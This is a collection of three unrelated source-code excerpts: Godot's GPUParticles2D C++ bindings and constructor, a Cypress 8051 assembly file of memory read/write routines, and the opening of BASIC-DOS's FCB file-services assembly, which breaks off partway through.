ClassDB::bind_method(D_METHOD("get_pre_process_time"), &GPUParticles2D::get_pre_process_time);
ClassDB::bind_method(D_METHOD("get_explosiveness_ratio"), &GPUParticles2D::get_explosiveness_ratio);
ClassDB::bind_method(D_METHOD("get_randomness_ratio"), &GPUParticles2D::get_randomness_ratio);
ClassDB::bind_method(D_METHOD("get_visibility_rect"), &GPUParticles2D::get_visibility_rect);
ClassDB::bind_method(D_METHOD("get_use_local_coordinates"), &GPUParticles2D::get_use_local_coordinates);
ClassDB::bind_method(D_METHOD("get_fixed_fps"), &GPUParticles2D::get_fixed_fps);
ClassDB::bind_method(D_METHOD("get_fractional_delta"), &GPUParticles2D::get_fractional_delta);
ClassDB::bind_method(D_METHOD("get_process_material"), &GPUParticles2D::get_process_material);
ClassDB::bind_method(D_METHOD("get_speed_scale"), &GPUParticles2D::get_speed_scale);
ClassDB::bind_method(D_METHOD("set_draw_order", "order"), &GPUParticles2D::set_draw_order);
ClassDB::bind_method(D_METHOD("get_draw_order"), &GPUParticles2D::get_draw_order);
ClassDB::bind_method(D_METHOD("set_texture", "texture"), &GPUParticles2D::set_texture);
ClassDB::bind_method(D_METHOD("get_texture"), &GPUParticles2D::get_texture);
ClassDB::bind_method(D_METHOD("set_normal_map", "texture"), &GPUParticles2D::set_normal_map);
ClassDB::bind_method(D_METHOD("get_normal_map"), &GPUParticles2D::get_normal_map);
ClassDB::bind_method(D_METHOD("capture_rect"), &GPUParticles2D::capture_rect);
ClassDB::bind_method(D_METHOD("restart"), &GPUParticles2D::restart);
ADD_PROPERTY(PropertyInfo(Variant::BOOL, "emitting"), "set_emitting", "is_emitting");
ADD_PROPERTY(PropertyInfo(Variant::INT, "amount", PROPERTY_HINT_EXP_RANGE, "1,1000000,1"), "set_amount", "get_amount");
ADD_GROUP("Time", "");
ADD_PROPERTY(PropertyInfo(Variant::FLOAT, "lifetime", PROPERTY_HINT_RANGE, "0.01,600.0,0.01,or_greater"), "set_lifetime", "get_lifetime");
ADD_PROPERTY(PropertyInfo(Variant::BOOL, "one_shot"), "set_one_shot", "get_one_shot");
ADD_PROPERTY(PropertyInfo(Variant::FLOAT, "preprocess", PROPERTY_HINT_RANGE, "0.00,600.0,0.01"), "set_pre_process_time", "get_pre_process_time");
ADD_PROPERTY(PropertyInfo(Variant::FLOAT, "speed_scale", PROPERTY_HINT_RANGE, "0,64,0.01"), "set_speed_scale", "get_speed_scale");
ADD_PROPERTY(PropertyInfo(Variant::FLOAT, "explosiveness", PROPERTY_HINT_RANGE, "0,1,0.01"), "set_explosiveness_ratio", "get_explosiveness_ratio");
ADD_PROPERTY(PropertyInfo(Variant::FLOAT, "randomness", PROPERTY_HINT_RANGE, "0,1,0.01"), "set_randomness_ratio", "get_randomness_ratio");
ADD_PROPERTY(PropertyInfo(Variant::INT, "fixed_fps", PROPERTY_HINT_RANGE, "0,1000,1"), "set_fixed_fps", "get_fixed_fps");
ADD_PROPERTY(PropertyInfo(Variant::BOOL, "fract_delta"), "set_fractional_delta", "get_fractional_delta");
ADD_GROUP("Drawing", "");
ADD_PROPERTY(PropertyInfo(Variant::RECT2, "visibility_rect"), "set_visibility_rect", "get_visibility_rect");
ADD_PROPERTY(PropertyInfo(Variant::BOOL, "local_coords"), "set_use_local_coordinates", "get_use_local_coordinates");
ADD_PROPERTY(PropertyInfo(Variant::INT, "draw_order", PROPERTY_HINT_ENUM, "Index,Lifetime"), "set_draw_order", "get_draw_order");
ADD_GROUP("Process Material", "process_");
ADD_PROPERTY(PropertyInfo(Variant::OBJECT, "process_material", PROPERTY_HINT_RESOURCE_TYPE, "ShaderMaterial,ParticlesMaterial"), "set_process_material", "get_process_material");
ADD_GROUP("Textures", "");
ADD_PROPERTY(PropertyInfo(Variant::OBJECT, "texture", PROPERTY_HINT_RESOURCE_TYPE, "Texture2D"), "set_texture", "get_texture");
ADD_PROPERTY(PropertyInfo(Variant::OBJECT, "normal_map", PROPERTY_HINT_RESOURCE_TYPE, "Texture2D"), "set_normal_map", "get_normal_map");
BIND_ENUM_CONSTANT(DRAW_ORDER_INDEX);
BIND_ENUM_CONSTANT(DRAW_ORDER_LIFETIME);
}
GPUParticles2D::GPUParticles2D() {
particles = RS::get_singleton()->particles_create();
one_shot = false; // Needed so that set_emitting doesn't access uninitialized values
set_emitting(true);
set_one_shot(false);
set_amount(8);
set_lifetime(1);
set_fixed_fps(0);
set_fractional_delta(true);
set_pre_process_time(0);
set_explosiveness_ratio(0);
set_randomness_ratio(0);
set_visibility_rect(Rect2(Vector2(-100, -100), Vector2(200, 200)));
set_use_local_coordinates(true);
set_draw_order(DRAW_ORDER_INDEX);
set_speed_scale(1);
}
GPUParticles2D::~GPUParticles2D() {
RS::get_singleton()->free(particles);
}
|
;***************************************************************************
; FILENAME: cymem.a51
; Version 3.20
;
; DESCRIPTION:
; Specialized memory routines for Keil bootup. These functions accept
; 3-byte pointers, but the pointers are interpreted as absolute locations
; rather than as Keil generic/far pointers. Interrupts should be disabled
; while these functions are executing unless the interrupt handler is
; aware of dual DPTRs (DPS register), extended DPTRs (DPX0/DPX1), and
; extended register-indirect memory access (MXAX register).
;
; C DECLARATIONS:
; extern void cymemzero(void far *addr, unsigned short size);
; extern void cyconfigcpy(unsigned short size, const void far *src, void far *dest) large;
; extern void cyconfigcpycode(unsigned short size, const void code *src, void far *dest);
; extern void cfg_write_bytes_code(const void code *table);
; extern void cfg_write_bytes(const void far *table);
; extern unsigned char cyread8(const void far *addr);
; extern unsigned char cyread8_nodpx(const void far *addr);
; extern void cywrite8(void far *addr, unsigned char value);
; extern void cywrite8_nodpx(void far *addr, unsigned char value);
; extern unsigned int cyread16(const void far *addr);
; extern unsigned int cyread16_nodpx(const void far *addr);
; extern void cywrite16(void far *addr, unsigned int value);
; extern void cywrite16_nodpx(void far *addr, unsigned int value);
; extern unsigned long cyread24(const void far *addr);
; extern unsigned long cyread24_nodpx(const void far *addr);
; extern void cywrite24(void far *addr, unsigned long value);
; extern void cywrite24_nodpx(void far *addr, unsigned long value);
; extern unsigned long cyread32(const void far *addr);
; extern unsigned long cyread32_nodpx(const void far *addr);
; extern void cywrite32(void far *addr, unsigned long value);
; extern void cywrite32_nodpx(void far *addr, unsigned long value);
;
;*******************************************************************************
; Copyright 2008-2012, Cypress Semiconductor Corporation. All rights reserved.
; You may use this file only in accordance with the license, terms, conditions,
; disclaimers, and limitations in the end user license agreement accompanying
; the software package with which this file was provided.
;*******************************************************************************
$NOMOD51
;*******************************************************************************
;* SFRs
;*******************************************************************************
DPL0 EQU 082H
DPH0 EQU 083H
DPL1 EQU 084H
DPH1 EQU 085H
DPS EQU 086H
DPX0 EQU 093H
DPX1 EQU 095H
P2 EQU 0A0H
MXAX EQU 0EAH
;*******************************************************************************
;* Symbols
;*******************************************************************************
NAME CYMEM
PUBLIC _cyconfigcpy
PUBLIC ?_cyconfigcpy?BYTE
PUBLIC _cfg_write_bytes
PUBLIC _cfg_write_bytes_code
PUBLIC _cyconfigcpycode
PUBLIC _cymemzero
PUBLIC _cyread8
PUBLIC _cyread8_nodpx
PUBLIC _cywrite8
PUBLIC _cywrite8_nodpx
PUBLIC _cyread16
PUBLIC _cyread16_nodpx
PUBLIC _cywrite16
PUBLIC _cywrite16_nodpx
PUBLIC _cyread24
PUBLIC _cyread24_nodpx
PUBLIC _cywrite24
PUBLIC _cywrite24_nodpx
PUBLIC _cyread32
PUBLIC _cyread32_nodpx
PUBLIC _cywrite32
PUBLIC _cywrite32_nodpx
;*******************************************************************************
;* void cymemzero(void far *, unsigned short);
;* Zero memory in extended XDATA. Range must not cross a 64k boundary.
;* Parameters:
;* R3: Bits [23:16] of start address
;* R2: Bits [15:8] of start address
;* R1: Bits [7:0] of start address
;* R4: Bits [15:8] of size
;* R5: Bits [7:0] of size
;*******************************************************************************
?PR?CYMEMZERO?CYMEM SEGMENT CODE
RSEG ?PR?CYMEMZERO?CYMEM
_cymemzero:
MOV A,R4
ORL A,R5
JZ _cymemzero_end ; Exit if size is 0
MOV A,R5
JZ _cymemzero_noinc
INC R4 ; Tweak loop count for DJNZ
_cymemzero_noinc:
MOV DPX0,R3
MOV DPH0,R2
MOV DPL0,R1
CLR A
_cymemzero_loop:
MOVX @DPTR,A ; Zero memory
INC DPTR
DJNZ R5,_cymemzero_loop
DJNZ R4,_cymemzero_loop
_cymemzero_end:
MOV DPX0,#0
RET
;*******************************************************************************
;* void cyconfigcpy(unsigned short, const void far *, void far *) large;
;* Copy memory from extended XDATA to extended XDATA. Source and destination
;* ranges must not cross a 64k boundary.
;* Parameters:
;* R6: Bits [15:8] of size
;* R7: Bits [7:0] of size
;* R3: Bits [23:16] of source address
;* R2: Bits [15:8] of source address
;* R1: Bits [7:0] of source address
;* Memory parameters: see ?_cyconfigcpy?BYTE
;*******************************************************************************
?PR?_CYCONFIGCPY?CYMEM SEGMENT CODE
RSEG ?PR?_CYCONFIGCPY?CYMEM
_cyconfigcpy:
MOV DPS,#000h ; Select DP0
MOV A,R7 ; Size in R6:R7 (MSB in R6)
ORL A,R6
JZ _cyconfigcpy_end ; Exit if size is 0
MOV A,R7
JZ _cyconfigcpy_noinc
INC R6 ; Tweak loop count for DJNZ
_cyconfigcpy_noinc:
MOV DPX0,#000h ; Read destination pointer to DPX1:DPH1:DPL1
MOV DPTR,#_cyconfigcpy_dstx
MOVX A,@DPTR
MOV DPX1,A
INC DPTR
MOVX A,@DPTR
MOV DPH1,A
INC DPTR
MOVX A,@DPTR
MOV DPL1,A
MOV DPX0,R3 ; Source address in R3:R2:R1
MOV DPH0,R2
MOV DPL0,R1
_cyconfigcpy_loop:
MOVX A,@DPTR
INC DPTR
INC DPS ; Select DP1
MOVX @DPTR,A
INC DPTR
DEC DPS ; Select DP0
DJNZ R7,_cyconfigcpy_loop
DJNZ R6,_cyconfigcpy_loop
_cyconfigcpy_end:
CLR A
MOV DPX0,A
MOV DPX1,A
RET
?XD?_CYCONFIGCPY?CYMEM SEGMENT XDATA OVERLAYABLE
RSEG ?XD?_CYCONFIGCPY?CYMEM
?_cyconfigcpy?BYTE:
_cyconfigcpy_reserved: DS 5
_cyconfigcpy_dstx: DS 1
_cyconfigcpy_dsth: DS 1
_cyconfigcpy_dstl: DS 1
;*******************************************************************************
;* void cyconfigcpycode(unsigned short, const void code *, void far *);
;* Copy memory from CODE to extended XDATA. Destination range must not cross a
;* 64k boundary.
;* Parameters:
;* R6: Bits [15:8] of size
;* R7: Bits [7:0] of size
;* R3: Bits [23:16] of destination address
;* R2: Bits [15:8] of destination address
;* R1: Bits [7:0] of destination address
;* R4: Bits[15:8] of source address
;* R5: Bits [7:0] of source address
;*******************************************************************************
?PR?CYCONFIGCPYCODE?CYMEM SEGMENT CODE
RSEG ?PR?CYCONFIGCPYCODE?CYMEM
_cyconfigcpycode:
MOV DPS,#000h ; Select DP0
MOV A,R7 ; Size in R6:R7 (MSB in R6)
ORL A,R6
JZ _cyconfigcpycode_end ; Exit if size is 0
MOV A,R7
JZ _cyconfigcpycode_noinc
INC R6 ; Tweak loop count for DJNZ
_cyconfigcpycode_noinc:
MOV DPH0,R4 ; Source address in R4:R5
MOV DPL0,R5
MOV DPX1,R3 ; Destination address in R3:R2:R1
MOV DPH1,R2
MOV DPL1,R1
_cyconfigcpycode_loop:
CLR A
MOVC A,@A+DPTR
INC DPTR
INC DPS ; Select DP1
MOVX @DPTR,A
INC DPTR
DEC DPS ; Select DP0
DJNZ R7,_cyconfigcpycode_loop
DJNZ R6,_cyconfigcpycode_loop
_cyconfigcpycode_end:
CLR A
MOV DPX1,A
RET
;*******************************************************************************
;* void cfg_write_bytes(const void far *table);
;* R3: Bits [23:16] of pointer to start of table
;* R2: Bits [15:8] of pointer to start of table
;* R1: Bits [7:0] of pointer to start of table
;* Reads data from cfg_byte_table and writes it to memory
;* cfg_byte_table contains a byte representing the number of records, followed
;* by a sequence of records:
;* struct cfg_byte_table_record_s {
;* unsigned char dpx;
;* unsigned char dph;
;* unsigned char value[];
;* };
;* Source range must not cross a 64k boundary.
;*******************************************************************************
?PR?CFG_WRITE_BYTES?CYMEM SEGMENT CODE
RSEG ?PR?CFG_WRITE_BYTES?CYMEM
_cfg_write_bytes:
MOV R4,MXAX ; Save
MOV R5,P2
MOV DPX0,R3 ; Start at beginning of table
MOV DPH0,R2
MOV DPL0,R1
MOVX A,@DPTR
MOV R1,A ; Number of ranges
JZ _cfg_write_bytes_end
_cfg_write_bytes_outer:
INC DPTR
MOVX A,@DPTR
MOV MXAX,A ; Extended address byte
INC DPTR
MOVX A,@DPTR
MOV P2,A ; High address byte
INC DPTR
MOVX A,@DPTR
JZ _cfg_write_bytes_outer
MOV R2,A ; Count
_cfg_write_bytes_inner:
INC DPTR
MOVX A,@DPTR
MOV R0,A
INC DPTR
MOVX A,@DPTR
MOVX @R0,A ; Write to MXAX:P2:R0
DJNZ R2,_cfg_write_bytes_inner
DJNZ R1,_cfg_write_bytes_outer
_cfg_write_bytes_end:
MOV P2,R5 ; Restore
MOV MXAX,R4
CLR A
MOV DPX0,A
RET
;*******************************************************************************
;* void cfg_write_bytes_code(const void code *table);
;* R6:R7: Pointer to cfg_byte_table
;* Reads data from cfg_byte_table and writes it to memory
;* cfg_byte_table contains a byte representing the number of records, followed
;* by a sequence of records:
;* struct cfg_byte_table_record_s {
;* unsigned char dpx;
;* unsigned char dph;
;* unsigned char value[];
;* };
;*******************************************************************************
?PR?CY_WRITE_BYTES_CODE?CYMEM SEGMENT CODE
RSEG ?PR?CY_WRITE_BYTES_CODE?CYMEM
_cfg_write_bytes_code:
MOV R4,MXAX ; Save
MOV R5,P2
MOV DPH0,R6 ; Start at beginning of table
MOV DPL0,R7
CLR A
MOVC A,@A+DPTR
MOV R1,A ; Number of ranges
JZ _cfg_write_bytes_code_end
_cfg_write_bytes_code_outer:
INC DPTR
CLR A
MOVC A,@A+DPTR ; Extended address byte
MOV MXAX,A
INC DPTR
CLR A
MOVC A,@A+DPTR ; High address byte
MOV P2,A
INC DPTR
CLR A
MOVC A,@A+DPTR ; Count
JZ _cfg_write_bytes_code_outer
MOV R2,A
_cfg_write_bytes_code_inner:
INC DPTR
CLR A
MOVC A,@A+DPTR ; Low address byte
MOV R0,A
INC DPTR
CLR A
MOVC A,@A+DPTR ; Value
MOVX @R0,A ; Write to MXAX:P2:R0
DJNZ R2,_cfg_write_bytes_code_inner
DJNZ R1,_cfg_write_bytes_code_outer
_cfg_write_bytes_code_end:
MOV P2,R5 ; Restore
MOV MXAX,R4
RET
;*******************************************************************************
;* Read a byte
;* R3:R2:R1: Address
;* Return value in R7
;*******************************************************************************
?PR?CYREAD8?CYMEM SEGMENT CODE
RSEG ?PR?CYREAD8?CYMEM
_cyread8:
MOV DPX0,R3
_cyread8_nodpx:
MOV DPH0,R2
MOV DPL0,R1
MOVX A,@DPTR
MOV DPX0,#0
MOV R7,A
RET
;*******************************************************************************
;* Write a byte
;* R3:R2:R1: Address
;* R5: Value
;*******************************************************************************
?PR?CYWRITE8?CYMEM SEGMENT CODE
RSEG ?PR?CYWRITE8?CYMEM
_cywrite8:
MOV DPX0,R3
_cywrite8_nodpx:
MOV DPH0,R2
MOV DPL0,R1
MOV A,R5
MOVX @DPTR,A
MOV DPX0,#0
RET
;*******************************************************************************
;* Read a little-endian 16-bit value
;* R3:R2:R1: Address
;* May not cross a 64k boundary
;* Return value in R6:R7 (big endian, R6 is MSB)
;*******************************************************************************
?PR?CYREAD16?CYMEM SEGMENT CODE
RSEG ?PR?CYREAD16?CYMEM
_cyread16:
MOV DPX0,R3
_cyread16_nodpx:
MOV DPH0,R2
MOV DPL0,R1
MOVX A,@DPTR
MOV R7,A ; LSB
INC DPTR
MOVX A,@DPTR
MOV R6,A ; MSB
MOV DPX0,#0
RET
;*******************************************************************************
;* Write a little-endian 16-bit value
;* R3:R2:R1: Address
;* R4:R5: Value (big endian, R4 is MSB)
;* May not cross a 64k boundary
;*******************************************************************************
?PR?CYWRITE16?CYMEM SEGMENT CODE
RSEG ?PR?CYWRITE16?CYMEM
_cywrite16:
MOV DPX0,R3
_cywrite16_nodpx:
MOV DPH0,R2
MOV DPL0,R1
MOV A,R5 ; LSB
MOVX @DPTR,A
INC DPTR
MOV A,R4 ; MSB
MOVX @DPTR,A
MOV DPX0,#0
RET
;*******************************************************************************
;* Read a little-endian 24-bit value
;* R3:R2:R1: Address
;* May not cross a 64k boundary
;* Return value in R4:R5:R6:R7 (big endian, R4 is MSB, R4 always 0)
;*******************************************************************************
?PR?CYREAD24?CYMEM SEGMENT CODE
RSEG ?PR?CYREAD24?CYMEM
_cyread24:
MOV DPX0,R3
_cyread24_nodpx:
MOV DPH0,R2
MOV DPL0,R1
MOVX A,@DPTR
MOV R7,A ; LSB
INC DPTR
MOVX A,@DPTR
MOV R6,A
INC DPTR
MOVX A,@DPTR
MOV R5,A
CLR A
MOV R4,A ; MSB
MOV DPX0,A
RET
;*******************************************************************************
;* Write a little-endian 24-bit value
;* R3:R2:R1: Address
;* R4:R5:R6:R7: Value (big endian, R4 is MSB, R4 ignored)
;* May not cross a 64k boundary
;*******************************************************************************
?PR?CYWRITE24?CYMEM SEGMENT CODE
RSEG ?PR?CYWRITE24?CYMEM
_cywrite24:
MOV DPX0,R3
_cywrite24_nodpx:
MOV DPH0,R2
MOV DPL0,R1
MOV A,R7 ; LSB
MOVX @DPTR,A
INC DPTR
MOV A,R6
MOVX @DPTR,A
INC DPTR
MOV A,R5
MOVX @DPTR,A
MOV DPX0,#0
RET
;*******************************************************************************
;* Read a little-endian 32-bit value
;* R3:R2:R1: Address
;* May not cross a 64k boundary
;* Return value in R4:R5:R6:R7 (big endian, R4 is MSB)
;*******************************************************************************
?PR?CYREAD32?CYMEM SEGMENT CODE
RSEG ?PR?CYREAD32?CYMEM
_cyread32:
MOV DPX0,R3
_cyread32_nodpx:
MOV DPH0,R2
MOV DPL0,R1
MOVX A,@DPTR
MOV R7,A ; LSB
INC DPTR
MOVX A,@DPTR
MOV R6,A
INC DPTR
MOVX A,@DPTR
MOV R5,A
INC DPTR
MOVX A,@DPTR
MOV R4,A ; MSB
MOV DPX0,#0
RET
;*******************************************************************************
;* Write a little-endian 32-bit value
;* R3:R2:R1: Address
;* R4:R5:R6:R7: Value (big endian, R4 is MSB)
;* May not cross a 64k boundary
;*******************************************************************************
?PR?CYWRITE32?CYMEM SEGMENT CODE
RSEG ?PR?CYWRITE32?CYMEM
_cywrite32:
MOV DPX0,R3
_cywrite32_nodpx:
MOV DPH0,R2
MOV DPL0,R1
MOV A,R7 ; LSB
MOVX @DPTR,A
INC DPTR
MOV A,R6
MOVX @DPTR,A
INC DPTR
MOV A,R5
MOVX @DPTR,A
INC DPTR
MOV A,R4 ; MSB
MOVX @DPTR,A
MOV DPX0,#0
RET
END
|
;
; BASIC-DOS FCB Services
;
; @author Jeff Parsons <Jeff@pcjs.org>
; @copyright (c) 2020-2021 Jeff Parsons
; @license MIT <https://basicdos.com/LICENSE.txt>
;
; This file is part of PCjs, a computer emulation software project at pcjs.org
;
include macros.inc
include devapi.inc
include dos.inc
include dosapi.inc
DOS segment word public 'CODE'
EXTBYTE <bpb_total>
EXTWORD <scb_active>
EXTNEAR <sfb_open_fcb,sfb_find_fcb,sfb_seek,sfb_read,sfb_close>
EXTNEAR <div_32_16,mul_32_16>
EXTSTR <FILENAME_CHARS>
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; fcb_open (REG_AH = 0Fh)
;
; Open an SFB for the file.
;
; Inputs:
; REG_DS:REG_DX -> unopened FCB
;
; Outputs:
; REG_AL:
; 00h: found (and FCB filled in)
; FFh: not found
;
; Modifies:
;
DEFPROC fcb_open,DOS
mov si,dx
mov ds,[bp].REG_DS ; DS:SI -> FCB
ASSUME DS:NOTHING
mov ax,0FFFh ; AX = 0FFFh
mov [bp].REG_AL,al ; assume failure
inc ax ; AX = 1000h (AH = 10h, AL = 0)
call sfb_open_fcb
jc fo9
mov di,si
push ds
pop es ; ES:DI -> FCB
mov si,bx
push cs
pop ds ; DS:SI -> SFB
mov [si].SFB_FCB.OFF,di
mov [si].SFB_FCB.SEG,es ; set SFB_FCB
or [si].SFB_FLAGS,SFBF_FCB ; mark SFB as originating as FCB
mov al,[si].SFB_DRIVE
inc ax
mov es:[di].FCB_DRIVE,al ; set FCB_DRIVE to 1-based drive #
add si,SFB_SIZE ; DS:SI -> SFB.SFB_SIZE
add di,FCB_CURBLK ; ES:DI -> FCB.FCB_CURBLK
sub ax,ax
mov [bp].REG_AL,al ; set REG_AL to zero
stosw ; set FCB_CURBLK to zero
mov ax,128
stosw ; set FCB_RECSIZE to 128
movsw
movsw ; set FCBF_FILESIZE from SFB_SIZE
sub si,(SFB_SIZE + 4) - SFB_DATE
movsw ; set FCBF_DATE from SFB_DATE
sub si,(SFB_DATE + 2) - SFB_TIME
movsw ; set FCBF_TIME from SFB_TIME
add si,SFB_CLN - (SFB_TIME + 2)
movsw ; set FCBF_CLN from SFB_CLN
fo9: ret
ENDPROC fcb_open
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; fcb_close (REG_AH = 10h)
;
; Update the matching directory entry from the FCB.
;
; Inputs:
; REG_DS:REG_DX -> FCB
;
; Outputs:
; REG_AL:
; 00h: found
; FFh: not found
;
; Modifies:
;
DEFPROC fcb_close,DOS
call get_fcb
jc fc9
mov si,-1 ; SI = -1 (no PFH)
call sfb_close ; BX -> SFB
fc9: ret
ENDPROC fcb_close
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; fcb_sread (REG_AH = 14h)
;
; Read a sequential record into the DTA.
;
; Inputs:
; REG_DS:REG_DX -> FCB
;
; Outputs:
; REG_AL = FCBERR result
;
; Modifies:
;
DEFPROC fcb_sread,DOS
call get_fcb
jc fsr9
ASSUME ES:NOTHING ; DS:BX -> SFB, ES:DI -> FCB
;
; TODO: Implement.
;
fsr9: ret
ENDPROC fcb_sread
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; fcb_rread (REG_AH = 21h)
;
; FCB Random Read. From the MS-DOS 3.3 Programmer's Reference:
;
; Function 21h reads (into the Disk Transfer Address) the record
; pointed to by the Relative Record (FCBF_RELREC @21h) of the FCB.
; DX must contain the offset (from the segment address in DS) of an
; opened FCB.
;
; Current Block (FCB_CURBLK @0Ch) and Current Record (FCBF_CURREC @20h)
; are set to agree with the Relative Record (FCBF_RELREC @21h). The
; record is then loaded at the Disk Transfer Address. The record length
; is taken from the Record Size (FCB_RECSIZE @0Eh) of the FCB.
;
; Inputs:
; REG_DS:REG_DX -> FCB
;
; Outputs:
; REG_AL = FCBERR result
;
; Modifies:
; Any
;
DEFPROC fcb_rread,DOS
call get_fcb
jc frr9
ASSUME ES:NOTHING ; DS:BX -> SFB, ES:DI -> FCB
mov cx,1 ; CX = record count
call seek_fcb ; set CUR fields and seek
call read_fcb ; read CX bytes and set DL to result
mov [bp].REG_AL,dl ; REG_AL = result
frr9: ret
ENDPROC fcb_rread
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; fcb_setrel (REG_AH = 24h)
;
; FCB Set Relative Record. From the MS-DOS 3.3 Programmer's Reference:
;
; Function 24h sets the Relative Record (FCBF_RELREC @21h) to the file
; address specified by the Current Block (FCB_CURBLK @0Ch) and Current
; Record (FCBF_CURREC @20h). DX must contain the offset (from the
; segment address in DS) of an opened FCB. You use this call to set the
; file pointer before a Random Read or Write (Functions 21h, 22h, 27h,
; or 28h).
;
; So, whereas Function 21h multiplies FCBF_RELREC by FCB_RECSIZE to get an
; offset, which it then divides by 16K to get FCB_CURBLK (and divides the
; remainder by FCB_RECSIZE to obtain FCBF_CURREC), we must do the reverse.
;
; Calculates (FCB_CURBLK * 16K) + (FCBF_CURREC * FCB_RECSIZE) and then divides
; by FCB_RECSIZE to obtain the corresponding FCBF_RELREC.
;
; Inputs:
; REG_DS:REG_DX -> FCB
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC fcb_setrel,DOS
call get_fcb
jc fsl9
ASSUME ES:NOTHING ; DS:BX -> SFB, ES:DI -> FCB
mov ax,es:[di].FCB_CURBLK
mov dx,16*1024
mul dx ; DX:AX = FCB_CURBLK * 16K
mov cx,dx
xchg si,ax ; CX:SI = DX:AX
mov al,es:[di].FCBF_CURREC
mov ah,0
mov dx,es:[di].FCB_RECSIZE
push dx ; save FCB_RECSIZE
mul dx ; DX:AX = FCBF_CURREC * FCB_RECSIZE
add ax,si
adc dx,cx ; DX:AX += FCB_CURBLK * 16K
pop cx ; CX = FCB_RECSIZE
call div_32_16 ; DX:AX /= CX (remainder in BX)
mov es:[di].FCBF_RELREC.LOW,ax
mov es:[di].FCBF_RELREC.HIW,dx
fsl9: ret
ENDPROC fcb_setrel
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; fcb_rbread (REG_AH = 27h)
;
; FCB Random Block Read. From the MS-DOS 3.3 Programmer's Reference:
;
; Function 27h reads one or more records from a specified file to
; the Disk Transfer Address. DX must contain the offset (from the
; segment address in DS) of an opened FCB. CX contains the number
; of records to read. Reading starts at the record specified by the
; Relative Record (FCBF_RELREC @21h); you must set this field with
; Function 24h (Set Relative Record) before calling this function.
;
; DOS calculates the number of bytes to read by multiplying the
; value in CX by the Record Size (offset 0EH) of the FCB.
;
; CX returns the number of records read. The Current Block
; (FCB_CURBLK @0Ch), Current Record (FCBF_CURREC @20h), and Relative
; Record (FBBF_RELREC @21h) are set to address the next record.
;
; Inputs:
; REG_DS:REG_DX -> FCB
; REG_CX = # records to read
;
; Outputs:
; REG_AL = FCBERR result
; REG_CX = # records successfully read
;
; Modifies:
; Any
;
DEFPROC fcb_rbread,DOS
call get_fcb
jc frb9
ASSUME ES:NOTHING ; DS:BX -> SFB, ES:DI -> FCB
mov cx,[bp].REG_CX ; CX = # records
call seek_fcb ; set CUR fields and seek
call read_fcb ; read CX bytes and set DL to result
mov [bp].REG_AL,dl ; REG_AL = result
jnc frb1
sub ax,ax ; on error, set count to zero
frb1: mov cx,es:[di].FCB_RECSIZE
sub dx,dx
div cx ; AX = # bytes read / FCB_RECSIZE
mov [bp].REG_CX,ax ; REG_CX = # records read
call inc_fcb ; advance to the next record
frb9: ret
ENDPROC fcb_rbread
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; fcb_parse (REG_AH = 29h)
;
; Inputs:
; REG_AL = parse flags
; REG_DS:REG_SI -> filespec to parse
; REG_ES:REG_DI -> buffer for unopened FCB
;
; Outputs:
; REG_AL:
; 00h: no wildcard characters
; 01h: some wildcard characters
; FFh: invalid drive letter
; REG_DS:REG_SI -> next unparsed character
;
; Modifies:
;
DEFPROC fcb_parse,DOS
mov ds,[bp].REG_DS
mov es,[bp].REG_ES
ASSUME DS:NOTHING, ES:NOTHING
or al,80h ; AL = 80h (wildcards allowed)
mov ah,al ; AH = parse flags
call parse_name
;
; Documentation says function 29h "creates an unopened" FCB. Apparently
; all that means is that, in addition to the drive and filename being filled
; in (or not, depending on the inputs), FCB_CURBLK and FCB_RECSIZE get zeroed
; as well.
;
sub ax,ax
mov es:[di].FCB_CURBLK,ax
mov es:[di].FCB_RECSIZE,ax
mov al,dh ; AL = wildcard flag (DH)
jnc fp8 ; drive valid?
sbb al,al ; AL = 0FFh if not
fp8: mov [bp].REG_AL,al ; update caller's AL
mov [bp].REG_SI,si ; update caller's SI
ret
ENDPROC fcb_parse
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; get_fcb
;
; Inputs:
; REG_DS:REG_DX -> FCB
;
; Outputs:
; If carry clear:
; DS:BX -> SFB
; ES:DI -> FCB
; Otherwise, carry set
;
; Modifies:
; BX, CX, DI, ES
;
DEFPROC get_fcb,DOS
mov cx,[bp].REG_DS ; CX:DX -> FCB
call sfb_find_fcb
jc gf9
mov di,dx
mov es,cx ; ES:DI -> FCB
ret
gf9: mov byte ptr [bp].REG_AL,FCBERR_EOF ; TODO: verify this error code
ret
ENDPROC get_fcb
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; inc_fcb
;
; Advance FCBF_RELREC and update the FCB_CURBLK and FCBF_CURREC fields.
;
; Inputs:
; AX = # records to advance
; ES:DI -> FCB
;
; Outputs:
; None
;
; Modifies:
; AX, CX, DX
;
DEFPROC inc_fcb
add es:[di].FCBF_RELREC.LOW,ax
adc es:[di].FCBF_RELREC.HIW,0
call setcur_fcb
ret
ENDPROC inc_fcb
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; copy_name
;
; Inputs:
; DS:SI -> device or filename
; ES:DI -> filename buffer
;
; Outputs:
; filename buffer filled in
;
; Modifies:
; AX, CX, SI, DI
;
DEFPROC copy_name,DOS
